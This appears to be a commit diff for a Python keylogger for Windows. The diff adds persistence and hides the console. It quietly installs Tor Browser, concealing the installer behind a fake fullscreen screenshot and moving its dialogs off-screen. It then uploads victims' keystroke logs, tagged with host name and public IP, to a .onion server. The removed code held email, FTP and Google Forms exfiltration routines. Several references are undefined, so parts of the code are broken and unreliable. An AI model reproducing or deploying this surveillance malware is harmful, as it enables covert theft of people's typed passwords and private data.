66 win32api , winerror # for disallowing multiple instances
77import win32gui , \
88 win32console # for getting window titles and hiding the console window
9+ import win32ui , win32con
910from winreg import OpenKey , SetValueEx , HKEY_CURRENT_USER , KEY_ALL_ACCESS , REG_SZ
1011
1112
@@ -33,21 +34,26 @@ def hide():
3334
3435
3536import keyboard # for keyboard hooks. See docs https://github.com/boppreh/keyboard
36- import time
3737import psutil
38- import ctypes # for getting window titles, current keyboard layout and capslock state
39- import threading , smtplib # for emailing logs
40- import ftplib # for sending logs via FTP
41- import urllib # for accessing Google Forms
38+ from ctypes import WinDLL # for getting window titles, current keyboard layout and capslock state
39+ import urllib .request
4240import datetime # for getting the current time and using timedelta
4341from Cryptodome .PublicKey import RSA
4442from Cryptodome .Cipher import PKCS1_OAEP
4543import Cryptodome .Util
4644from Cryptodome .Hash import SHA3_512
4745import base64
4846import hashlib # for hashing the names of files
49- import random
50- import ctypes
47+ import threading
48+ import requests
49+ import pysocks
50+ import socket
51+ from random import choice , shuffle
52+ from pywinauto .application import Application
53+ import pywinauto .timings
54+ import tkinter as tk
55+ from PIL import Image , ImageGrab , ImageTk
56+ import re
5157
5258
5359# Disallowing multiple instances
@@ -62,6 +68,10 @@ def hide():
6268# CONSTANTS
6369PYTHON_EXEC_PATH = 'python' # used only when executable=False.
6470# Examples: 'C:\\...\\python.exe' or 'python' if it is on your PATH.
71+ proxies = {'http' : 'socks5h://127.0.0.1:9150' ,
72+ 'https' : 'socks5h://127.0.0.1:9150' }
73+ url_server_upload = "https://3g2upl4pq6kufc4m3g2upl4pq6kufc4m.onion/upload"
74+ url_server_check_connection = "https://3g2upl4pq6kufc4m3g2upl4pq6kufc4m.onion/check"
6575
6676
6777# Add to startup for persistence
@@ -215,7 +225,7 @@ def add_to_startup():
215225
216226def detect_key_layout ():
217227 global lcid_dict
218- user32 = ctypes . WinDLL ('user32' , use_last_error = True )
228+ user32 = WinDLL ('user32' , use_last_error = True )
219229 curr_window = user32 .GetForegroundWindow ()
220230 thread_id = user32 .GetWindowThreadProcessId (curr_window , 0 )
221231 klid = user32 .GetKeyboardLayout (thread_id )
@@ -234,7 +244,7 @@ def detect_key_layout():
234244
235245def get_capslock_state ():
236246 # using the answer here https://stackoverflow.com/a/21160382
237- hll_dll = ctypes . WinDLL ("User32.dll" )
247+ hll_dll = WinDLL ("User32.dll" )
238248 vk = 0x14
239249 return True if hll_dll .GetKeyState (vk ) == 1 else False
240250
@@ -264,8 +274,7 @@ def update_upper_case():
264274
265275def encrypt (message_str ):
266276 global public_key , CHAR_LIMIT
267- # Import the Public Key and use for encryption using PKCS1_OAEP (RSAES-OAEP).
268- # See https://www.dlitz.net/software/pycrypto/api/2.6/Crypto.Cipher.PKCS1_OAEP-module.html
277+ # Import the Public Key and use for encryption using PKCS1_OAEP (RSAES-OAEP)
269278 key = RSA .importKey (public_key )
270279 cipher = PKCS1_OAEP .new (key , hashAlgo = SHA3_512 )
271280 message = bytes (message_str , 'utf-8' )
@@ -284,121 +293,205 @@ def encrypt(message_str):
284293 return encrypted_message
285294
286295
287- def log_local ():
288- # Local mode
289- global dir_path , line_buffer , backspace_buffer_len , window_name , time_logged
290- todays_date = datetime .datetime .now ().strftime ('%Y-%b-%d' )
291- # md5 only for masking dates - it's easily crackable:
292- todays_date_hashed = hashlib .md5 (bytes (todays_date , 'utf-8' )).hexdigest ()
296+ def check_internet ():
297+ protocols = ['https://' , 'http://' ]
298+ sites_list = ['www.google.com' , 'youtube.com' , 'tmall.com' , 'baidu.com' , 'sohu.com' , 'facebook.com' ,
299+ 'taobao.com' , 'login.tmall.com' , 'wikipedia.org' , 'yahoo.com' , '360.cn' , 'amazon.com' , 'jd.com' ,
300+ 'weibo.com' , 'sina.com.cn' , 'live.com' , 'pages.tmall.com' , 'reddit.com' , 'vk.com' , 'netflix.com' ,
301+ 'blogspot.com' , 'alipay.com' , 'csdn.net' , 'bing.com' , 'yahoo.co.jp' , 'Okezone.com' , 'instagram.com' ,
302+ 'google.com.hk' , 'office.com' ] # most popular websites in the world
293303 try :
294- with open (os .path .join (dir_path , todays_date_hashed + ".txt" ), "a" ) as fp :
295- fp .write (line_buffer )
304+ random_protocol = choice (protocols )
305+ random_site = choice (sites_list )
306+ urllib .request .urlopen (random_protocol + random_site )
307+ return True
296308 except :
297- # if there's a problem with a file size: rename the old one, and continue as normal
298- counter = 0
299- while os .path .exists (os .path .join (dir_path , todays_date_hashed + "_" + str (counter ) + ".txt" )):
300- counter += 1
301309 try :
302- os .rename (os .path .join (dir_path , todays_date_hashed + ".txt" ),
303- os .path .join (dir_path , todays_date_hashed + "_" + str (counter ) + ".txt" ))
304- window_name = ''
305- time_logged = datetime .datetime .now () - datetime .timedelta (minutes = MINUTES_TO_LOG_TIME )
306- except Exception as e :
307- if mode == "debug" :
308- print (e )
309- line_buffer , backspace_buffer_len = '' , 0
310- return True
310+ if random_protocol == 'https://' : # ensure switch to http (just in case)
311+ random_protocol = 'http://'
312+ urllib .request .urlopen (random_protocol + choice (sites_list ))
313+ return True
314+ except :
315+ return False
316+
317+
318+ def find_file (root_folder , dir , file ):
319+ for root , dirs , files in os .walk (root_folder ):
320+ for f in files :
321+ file_search = (file == f )
322+ dir_search = (dir in root )
323+ if file_search and dir_search :
324+ return os .path .join (root , f )
325+ return
311326
312327
313- def log_remote ():
314- # Remote mode - Google Form logs post
315- global line_buffer , backspace_buffer_len
316- url = "https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" # Specify Google Form URL here
317- klog = {'entry.xxxxxxxxxxx' : line_buffer } # Specify the Field Name here
328+ def find_file_in_all_drives (path ):
329+ # create a regular expression for the file
330+ dir = os .path .split (path )[0 ]
331+ file = os .path .split (path )[- 1 ]
332+ for drive in win32api .GetLogicalDriveStrings ().split ('\000 ' )[:- 1 ]:
333+ result = find_file (drive , dir , file )
334+ if result :
335+ return result
336+
337+
338+ def check_if_tor_browser_is_installed ():
339+ return find_file_in_all_drives ('Tor Browser\\ Browser\\ firefox.exe' )
340+
341+
342+ def show_screenshot ():
343+ root = tk .Toplevel ()
344+ w , h = root .winfo_screenwidth (), root .winfo_screenheight ()
345+ root .overrideredirect (1 )
346+ root .geometry ("%dx%d+0+0" % (w , h ))
347+ root .focus_set ()
348+ root .bind ("<Escape>" , lambda e : (e .widget .withdraw (), e .widget .quit ()))
349+ canvas = tk .Canvas (root , width = w , height = h )
350+ canvas .pack ()
351+ canvas .configure (background = 'black' )
352+ screenshot = ImageGrab .grab ()
353+ ph = ImageTk .PhotoImage (screenshot )
354+ canvas .create_image (w / 2 , h / 2 , image = ph )
355+ root .mainloop ()
356+ return
357+
358+
359+ def install_tor_browser ():
360+ if not os .name == "nt" :
361+ return '' # TODO: Linux, MacOS
362+ # 1. Download the installer
318363 try :
319- dataenc = urllib .parse .urlencode (klog )
320- req = urllib .Request (url , dataenc )
321- response = urllib .request .urlopen (req )
322- line_buffer , backspace_buffer_len = '' , 0
323- except Exception as e :
324- if mode == "debug" :
325- print (e )
364+ r = requests .get ("http://www.torproject.org/download/" )
365+ if r .status_code == 200 :
366+ tor_windows_url = r .text .split (".exe" )[0 ].split ("href=\" " )[- 1 ] + ".exe"
367+ else :
368+ tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
369+ except requests .exceptions .ConnectionError :
370+ tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
371+ try :
372+ tor_installer = requests .get (tor_windows_url )
373+ except requests .exceptions .ConnectionError :
374+ return ''
375+ installer_path = os .path .join (dir_path , tor_windows_url .split ("/" )[- 1 ])
376+ open (installer_path , 'wb' ).write (tor_installer .content )
377+ # 2. Install
378+ installation_dir = os .path .join (dir_path , "Tor_Browser" )
379+ os .remove (installation_dir )
380+
381+ import multiprocessing
382+ screenshot_process = multiprocessing .Process (target = show_screenshot , args = ())
383+ screenshot_process .start ()
384+
385+ try :
386+ app = Application (backend = "win32" ).start (installer_path )
387+ except :
388+ return ''
389+ try :
390+ app .Dialog .OK .wait ('ready' , timeout = 30 )
391+ app .Dialog .move_window (x = - 2000 , y = - 2000 )
392+ app .Dialog .OK .click ()
393+ app .InstallDialog .Edit .wait ('ready' , timeout = 30 )
394+ app .Dialog .move_window (x = - 2000 , y = - 2000 )
395+ app .InstallDialog .Edit .set_edit_text (installation_dir )
396+ app .InstallDialog .InstallButton .wait ('ready' , timeout = 30 ).click ()
397+ try :
398+ app .InstallDialog .children ()[0 ]
399+ if type (app .InstallDialog .children ()[0 ]) == pywinauto .controls .win32_controls .ButtonWrapper :
400+ app .InstallDialog .children ()[0 ].click () # Overwrite - Yes
401+ except :
402+ pass
403+ except pywinauto .timings .TimeoutError :
404+ app .kill ()
405+ try :
406+ app .InstallDialog .CheckBox .wait ('ready' , timeout = 30 ).uncheck ()
407+ app .InstallDialog .CheckBox2 .wait ('ready' , timeout = 30 ).uncheck ()
408+ app .InstallDialog .FinishButton .wait ('ready' , timeout = 30 ).click ()
409+ except pywinauto .timings .TimeoutError :
410+ app .kill ()
411+
412+ screenshot_process .terminate ()
413+
414+ # 3. Remove the installer
415+ os .remove (installer_path )
416+ return tor_installation_dir
417+
418+
419+ def open_tor_browser (installation_dir ):
420+ pass
421+
422+
423+ def find_the_previous_log_and_send ():
424+ if not check_internet ():
425+ return
426+ # Find the old log
427+ found_filenames = []
428+ delta = 1
429+ while delta <= 366 :
430+ previous_date = (datetime .date .today () - timedelta (days = delta )).strftime ('%Y-%b-%d' )
431+ previous_date_hashed = hashlib .md5 (bytes (previous_date , 'utf-8' )).hexdigest ()
432+ if os .path .exists (previous_date_hashed + ".txt" ):
433+ found_filenames .append (previous_date_hashed + ".txt" )
434+ delta += 1
435+ # check if TOR is installed
436+ tor_installation_dir = check_if_tor_browser_is_installed ()
437+ if tor_installation_dir == '' :
438+ tor_installation_dir = install_tor_browser ()
439+ if tor_installation_dir == '' :
440+ return True # ONE DOES NOT SIMPLY USE CLEARNET.
441+ else : # USE DARKNET ONLY
442+ open_tor_browser (tor_installed [1 ])
443+ for found_filename in found_filenames :
444+ # Now that we found the old log files (found_filename), send them to our server.
445+ server_parser_list = [(r'http://jsonip.com' , "r.json()['ip']" ),
446+ (r'https://ifconfig.co/json' , "r.json()['ip']" ),
447+ (r'http://ip.42.pl/raw' , "r.text" ),
448+ (r'http://httpbin.org/ip' , "r.json()['origin'].split(" , ")[0]" ),
449+ (r'https://api.ipify.org/?format=json' , "r.json()['ip']" )]
450+ shuffle (server_parser_list )
451+ ip = ""
452+ counter = 0
453+ while counter < 5 :
454+ try :
455+ r = requests .get (server_parser_list [counter ][0 ])
456+ if r .status_code == 200 :
457+ ip = eval (server_parser_list [counter ][1 ])
458+ break
459+ except requests .exceptions .ConnectionError :
460+ pass
461+ counter += 1
462+ new_found_filename = str (socket .getfqdn ()) + ("_" if ip != "" else "" ) + ip + "_" + found_filename
463+ os .rename (found_filename , new_found_filename ) # rename the file to avoid async errors
464+ sent_status_code = requests .get (url_server_check_connection , proxies = proxies ).status_code
465+ if sent_status_code == 200 : # send logs
466+ uploaded_status = requests .post (url_server_upload ,
467+ proxies = proxies ,
468+ data = open (new_found_filename , "rb" ).read ()).status_code
469+ if uploaded_status == 200 :
470+ os .remove (new_found_filename )
326471 return True
327472
328473
329- class TimerClass (threading .Thread ):
330- # Email mode
331- def __init__ (self ):
332- threading .Thread .__init__ (self )
333- self .event = threading .Event ()
334-
335- def run (self ):
336- while not self .event .is_set ():
337- global line_buffer , backspace_buffer_len
338- ts = datetime .datetime .now ()
339- SERVER = "smtp.gmail.com" # Specify Server Here
340- PORT = 587 # Specify Port Here
341- USER = "your_email@gmail.com" # Specify Username Here
342- PASS = "password_here" # Specify Password Here
343- FROM = USER # From address is taken from username
344- TO = ["to_address@gmail.com" ] # Specify to address.Use comma if more than one to address is needed.
345- SUBJECT = "Keylogger data: " + str (ts )
346- MESSAGE = line_buffer
347- message = """\
348- From: %s
349- To: %s
350- Subject: %s
351-
352- %s
353- """ % (FROM , ", " .join (TO ), SUBJECT , MESSAGE )
354- try :
355- server = smtplib .SMTP ()
356- server .connect (SERVER , PORT )
357- server .starttls ()
358- server .login (USER , PASS )
359- server .sendmail (FROM , TO , message )
360- line_buffer , backspace_buffer_len = '' , 0
361- server .quit ()
362- except Exception as e :
363- if mode == "debug" :
364- print (e )
365- self .event .wait (120 )
366-
367-
368- def log_ftp ():
369- # FTP mode - Upload logs to FTP account
370- global line_buffer , count , backspace_buffer_len
474+ def log_local ():
475+ # Local mode
476+ global dir_path , line_buffer , backspace_buffer_len , window_name , time_logged
371477 todays_date = datetime .datetime .now ().strftime ('%Y-%b-%d' )
372- # md5 only for masking dates - it's easily crackable:
478+ # md5 only for masking dates - it's easily crackable for us :
373479 todays_date_hashed = hashlib .md5 (bytes (todays_date , 'utf-8' )).hexdigest ()
374- count += 1
375- FILENAME = todays_date_hashed + "-" + str (count ) + ".txt"
480+ # We need to check if it is a new day, if so, send the old log to the server.
481+ if not os .path .exists (todays_date_hashed + ".txt" ): # a new day, a new life...
482+ if mode == "remote" :
483+ # Evaluate find_the_previous_log_and_send asynchronously
484+ thr = threading .Thread (target = find_the_previous_log_and_send , args = (), kwargs = {})
485+ thr .start ()
486+ # thr.is_alive() # check if it is alive
487+ # thr.join()
376488 try :
377- with open (FILENAME , "a" ) as fp :
489+ with open (os . path . join ( dir_path , todays_date_hashed + ".txt" ) , "a" ) as fp :
378490 fp .write (line_buffer )
379- except Exception as e :
491+ except :
380492 if mode == "debug" :
381493 print (e )
382494 line_buffer , backspace_buffer_len = '' , 0
383- try :
384- SERVER = "ftp.xxxxxx.com" # Specify your FTP Server address
385- USERNAME = "ftp_username" # Specify your FTP Username
386- PASSWORD = "ftp_password" # Specify your FTP Password
387- SSL = 1 # Set 1 for SSL and 0 for normal connection
388- OUTPUT_DIR = "/" # Specify output directory here
389- if SSL == 0 :
390- ft = ftplib .FTP (SERVER , USERNAME , PASSWORD )
391- else :
392- ft = ftplib .FTP_TLS (SERVER , USERNAME , PASSWORD )
393- ft .cwd (OUTPUT_DIR )
394- with open (FILENAME , 'rb' ) as fp :
395- cmd = 'STOR' + ' ' + FILENAME
396- ft .storbinary (cmd , fp )
397- ft .quit ()
398- os .remove (FILENAME )
399- except Exception as e :
400- if mode == "debug" :
401- print (e )
402495 return True
403496
404497
@@ -442,7 +535,7 @@ def key_callback(event):
442535 window_buffer , time_buffer = '' , ''
443536
444537 # 1. Detect the active window change - if so, LOG THE WINDOW NAME
445- user32 = ctypes . WinDLL ('user32' , use_last_error = True )
538+ user32 = WinDLL ('user32' , use_last_error = True )
446539 curr_window = user32 .GetForegroundWindow ()
447540 event_window_name = win32gui .GetWindowText (curr_window )
448541 if window_name != event_window_name :
0 commit comments